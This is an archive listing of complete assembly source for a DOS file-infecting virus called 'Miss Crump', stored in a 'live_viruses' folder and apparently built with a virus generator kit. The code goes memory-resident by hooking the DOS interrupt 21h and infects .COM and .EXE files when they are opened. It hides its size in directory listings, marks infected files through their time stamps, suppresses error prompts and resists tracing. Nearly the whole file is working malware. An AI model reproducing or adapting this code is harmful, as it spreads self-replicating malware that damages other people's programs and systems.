home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / mscrump.asm < prev    next >
Assembly Source File  |  1994-04-11  |  13KB  |  391 lines
  1. ; Mscrump : Miss Crump (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0E414h
  5. PONG            equ     055ECh
  6. STAMP           equ     4
  7. MARKER          equ     06864h
  8.  
  9. code            segment
  10.                 org     0
  11.                 assume  cs:code,ds:code
  12.  
  13. start:
  14.                 db      0E9h,3,0          ; to virus
  15. host:
  16.                 db      0CDh,20h,0        ; host program
  17. virus_begin:
  18.                 call    $ + 3             ; BP is instruction ptr.
  19.                 pop     bp
  20.                 sub     bp,offset $ - 1
  21.  
  22.                 push    ds es
  23.  
  24.                 cli
  25.                 mov     ax,PING           ; mild anti-trace code
  26.                 push    ax
  27.                 pop     ax
  28.                 dec     sp
  29.                 dec     sp
  30.                 pop     bx
  31.                 cmp     ax,bx
  32.                 je      no_trace
  33.                 hlt
  34.  
  35. no_trace:
  36.                 sti
  37.                 in      al,21h            ; lock out & reopen keyboard
  38.                 xor     al,2
  39.                 out     21h,al
  40.                 xor     al,2
  41.                 out     21h,al
  42.  
  43.                 mov     ax,PING           ; test for residency
  44.                 int     21h
  45.                 cmp     bx,PONG
  46.                 je      installed
  47.  
  48.                 mov     ax,es                   ; Get PSP
  49.                 dec     ax
  50.                 mov     ds,ax                   ; Get MCB
  51.  
  52.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  53.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  54.                 mov     es,word ptr ds:[12h]
  55.  
  56.                 push    cs                      ; copy virus into memory
  57.                 pop     ds
  58.                 xor     di,di
  59.                 mov     si,bp
  60.                 mov     cx,(virus_end - start) / 2 + 1
  61.                 rep     movsw
  62.  
  63.                 xor     ax,ax                   ; capture interrupts
  64.                 mov     ds,ax
  65.  
  66.                 sub     word ptr ds:[413h],(MEM_SIZE+1023) / 1024
  67.  
  68.                 mov     si,21h * 4              ; get original int 21
  69.                 mov     di,offset old_int_21
  70.                 movsw
  71.                 movsw
  72.  
  73.                 mov     word ptr ds:[si - 4],offset new_int_21
  74.                 mov     ds:[si - 2],es          ; and set new int 21
  75.  
  76. installed:
  77.                 pop     es ds                   ; restore segregs
  78.                 cmp     sp,MARKER               ; check for .EXE
  79.                 je      exe_exit
  80.  
  81. com_exit:
  82.                 lea     si,[bp + host]          ; restore host program
  83.                 mov     di,100h
  84.                 push    di
  85.                 movsw
  86.                 movsb
  87.  
  88.                 call    fix_regs                ; fix up registers
  89.                 ret                             ; and leave
  90. exe_exit:
  91.                 mov     ax,ds                   ; fix up return address
  92.                 add     ax,10h
  93.                 push    ax
  94.                 add     ax,cs:[bp + exe_cs]
  95.                 mov     cs:[bp + return_cs],ax
  96.  
  97.                 mov     ax,cs:[bp + exe_ip]
  98.                 mov     cs:[bp + return_ip],ax
  99.  
  100.                 pop     ax
  101.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  102.                 cli
  103.                 mov     ss,ax
  104.                 mov     sp,cs:[bp + exe_sp]
  105.  
  106.                 call    fix_regs                ; fix up registers
  107.                 sti
  108.  
  109.                 db      0EAh                    ; back to host program
  110. return_ip       dw      0
  111. return_cs       dw      0
  112.  
  113. exe_cs          dw      -16                     ; orig CS:IP
  114. exe_ip          dw      103h
  115. exe_sp          dw      -2                      ; orig SS:SP
  116. exe_ss          dw      -16
  117.  
  118. fix_regs:
  119.                 xor     ax,ax
  120.                 cwd
  121.                 xor     bx,bx
  122.                 mov     si,100h
  123.                 xor     di,di
  124.                 xor     bp,bp
  125.                 ret
  126.  
  127. ; interrupt 21 handler
  128. int_21:
  129.                 pushf
  130.                 call    dword ptr cs:[old_int_21]
  131.                 ret
  132.  
  133. new_int_21:
  134.                 cmp     ax,PING                 ; residency test
  135.                 je      ping_pong
  136.                 cmp     ah,11h                  ; directory stealth
  137.                 je      dir_stealth
  138.                 cmp     ah,12h
  139.                 je      dir_stealth
  140.                 cmp     ah,3Dh                  ; file open
  141.                 je      file_open
  142. int_21_exit:
  143.                 db      0EAh                    ; never mind ...
  144. old_int_21      dd      0
  145.  
  146. ping_pong:
  147.                 mov     bx,PONG
  148.                 iret
  149.  
  150. dir_stealth:
  151.                 call    int_21                  ; get dir entry
  152.                 test    al,al
  153.                 js      dir_stealth_done
  154.  
  155.                 push    ax bx es
  156.                 mov     ah,2Fh
  157.                 int     21h
  158.  
  159.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  160.                 jne     no_ext_FCB
  161.                 add     bx,7
  162. no_ext_FCB:
  163.                 mov     ax,es:[bx + 17h]        ; check for infection marker
  164.                 and     al,31
  165.                 cmp     al,STAMP
  166.                 jne     dir_fixed
  167.  
  168.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
  169.                 sbb     word ptr es:[bx + 1Fh],0
  170. dir_fixed:
  171.                 pop     es bx ax
  172. dir_stealth_done:
  173.                 iret
  174.  
  175. file_open:
  176.                 push    ax cx di es
  177.                 call    get_extension
  178.                 cmp     [di],'OC'               ; .COM file?
  179.                 jne     perhaps_exe             ; perhaps .EXE then
  180.                 cmp     byte ptr [di + 2],'M'
  181.                 jne     not_prog
  182.                 jmp     a_program
  183. perhaps_exe:
  184.                 cmp     [di],'XE'               ; .EXE file?
  185.                 jne     not_prog
  186.                 cmp     byte ptr [di + 2],'E'
  187.                 jne     not_prog
  188. a_program:
  189.                 pop     es di cx ax
  190.                 jmp     execute                 ; infect file
  191. not_prog:
  192.                 pop     es di cx ax
  193.                 jmp     int_21_exit
  194.  
  195. execute:
  196.                 push    ax bx cx dx si di ds es
  197.  
  198.                 call    get_extension           ; check filename
  199.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  200.                 jne     open_it
  201.                 jmp     cant_open
  202.  
  203. open_it:
  204.                 xor     ax,ax                   ; critical error handler
  205.                 mov     es,ax                   ; routine - catch int 24
  206.                 mov     es:[24h * 4],offset int_24
  207.                 mov     es:[24h * 4 + 2],cs
  208.  
  209.                 mov     ax,4300h                ; change attributes
  210.                 int     21h
  211.  
  212.                 push    cx dx ds
  213.                 xor     cx,cx
  214.                 call    set_attributes
  215.  
  216.                 mov     ax,3D02h                ; open file
  217.                 call    int_21
  218.                 jc      cant_open
  219.                 xchg    bx,ax
  220.  
  221.                 push    cs                      ; CS = DS
  222.                 pop     ds
  223.  
  224.                 mov     ax,5700h                ; save file date/time
  225.                 int     21h
  226.                 push    cx dx
  227.                 mov     ah,3Fh
  228.                 mov     cx,28
  229.                 mov     dx,offset read_buffer
  230.                 int     21h
  231.  
  232.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  233.                 je      infect_exe              ; yes, infect as .EXE
  234.  
  235.                 mov     al,2                    ; move to end of file
  236.                 call    move_file_ptr
  237.  
  238.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  239.                 ja      dont_infect             ; too big, don't infect
  240.  
  241.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  242.                 cmp     dx,word ptr read_buffer + 1
  243.                 je      dont_infect
  244.  
  245.                 add     dx,VIRUS_SIZE + 3
  246.                 mov     word ptr new_jump + 1,dx
  247.  
  248.                 mov     dx,offset read_buffer   ; save original program head
  249.                 int     21h
  250.                 mov     ah,40h                  ; write virus to file
  251.                 mov     cx,VIRUS_SIZE
  252.                 mov     dx,offset virus_begin
  253.                 int     21h
  254.  
  255.                 xor     al,al                   ; back to beginning of file
  256.                 call    move_file_ptr
  257.  
  258.                 mov     dx,offset new_jump      ; and write new jump
  259.                 int     21h
  260.  
  261. fix_date_time:
  262.                 pop     dx cx
  263.                 and     cl,-32                  ; add time stamp
  264.                 or      cl,STAMP                ; for directory stealth
  265.                 mov     ax,5701h                ; restore file date/time
  266.                 int     21h
  267.  
  268. close:
  269.                 pop     ds dx cx                ; restore attributes
  270.                 call    set_attributes
  271.  
  272.                 mov     ah,3Eh                  ; close file
  273.                 int     21h
  274.  
  275. cant_open:
  276.                 pop     es ds di si dx cx bx ax
  277.                 jmp     int_21_exit             ; leave
  278.  
  279.  
  280. set_attributes:
  281.                 mov     ax,4301h
  282.                 int     21h
  283.                 ret
  284.  
  285. dont_infect:
  286.                 pop     cx dx                   ; can't infect, skip
  287.                 jmp     close
  288.  
  289. move_file_ptr:
  290.                 mov     ah,42h                  ; move file pointer
  291.                 cwd
  292.                 xor     cx,cx
  293.                 int     21h
  294.  
  295.                 mov     dx,ax                   ; set up registers
  296.                 mov     ah,40h
  297.                 mov     cx,3
  298.                 ret
  299. infect_exe:
  300.                 cmp     word ptr read_buffer[26],0
  301.                 jne     dont_infect             ; overlay, don't infect
  302.  
  303.                 cmp     word ptr read_buffer[16],MARKER
  304.                 je      dont_infect             ; infected already
  305.  
  306.                 les     ax,dword ptr read_buffer[20]
  307.                 mov     exe_cs,es               ; CS
  308.                 mov     exe_ip,ax               ; IP
  309.  
  310.                 les     ax,dword ptr read_buffer[14]
  311.                 mov     exe_ss,ax               ; SS
  312.                 mov     exe_sp,es               ; SP
  313.                 mov     word ptr read_buffer[16],MARKER
  314.  
  315.                 mov     ax,4202h                ; to end of file
  316.                 cwd
  317.                 xor     cx,cx
  318.                 int     21h
  319.  
  320.                 push    ax dx                   ; save file size
  321.  
  322.                 push    bx
  323.                 mov     cl,12                   ; calculate offsets for CS
  324.                 shl     dx,cl                   ; and IP
  325.                 mov     bx,ax
  326.                 mov     cl,4
  327.                 shr     bx,cl
  328.                 add     dx,bx
  329.                 and     ax,15
  330.                 pop     bx
  331.  
  332.                 sub     dx,word ptr read_buffer[8]
  333.                 mov     word ptr read_buffer[22],dx
  334.                 mov     word ptr read_buffer[20],ax
  335.                 add     dx,100
  336.                 mov     word ptr read_buffer[14],dx
  337.  
  338.                 pop     dx ax                   ; calculate prog size
  339.  
  340.                 add     ax,VIRUS_SIZE + 3
  341.                 adc     dx,0
  342.                 mov     cx,512                  ; in pages
  343.                 div     cx                      ; then save results
  344.                 inc     ax
  345.                 mov     word ptr read_buffer[2],dx
  346.                 mov     word ptr read_buffer[4],ax
  347.  
  348.                 mov     ah,40h
  349.                 mov     cx,VIRUS_SIZE + 3
  350.                 mov     dx,offset virus_begin
  351.                 int     21h
  352.  
  353.  
  354.                 mov     ax,4200h                ; back to beginning
  355.                 cwd
  356.                 xor     cx,cx
  357.                 int     21h
  358.  
  359.                 mov     ah,40h                  ; and fix up header
  360.                 mov     cx,28
  361.                 mov     dx,offset read_buffer
  362.                 int     21h
  363.                 jmp     fix_date_time           ; done
  364.  
  365. courtesy_of     db      '[BW]',0
  366. signature       db      'Miss Crump (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  367.  
  368. get_extension:
  369.                 push    ds                      ; find extension
  370.                 pop     es
  371.                 mov     di,dx
  372.                 mov     cx,64
  373.                 mov     al,'.'
  374.                 repnz   scasb
  375.                 ret
  376. int_24:
  377.                 mov     al,3                    ; int 24 handler
  378.                 iret
  379. new_jump        db      0E9h,0,0
  380.  
  381. virus_end:
  382. VIRUS_SIZE      equ     virus_end - virus_begin
  383. read_buffer     db      28 dup (?)              ; read buffer
  384.  
  385. end_heap:
  386.  
  387. MEM_SIZE        equ     end_heap - start
  388.  
  389. code            ends
  390.                 end     start
  391.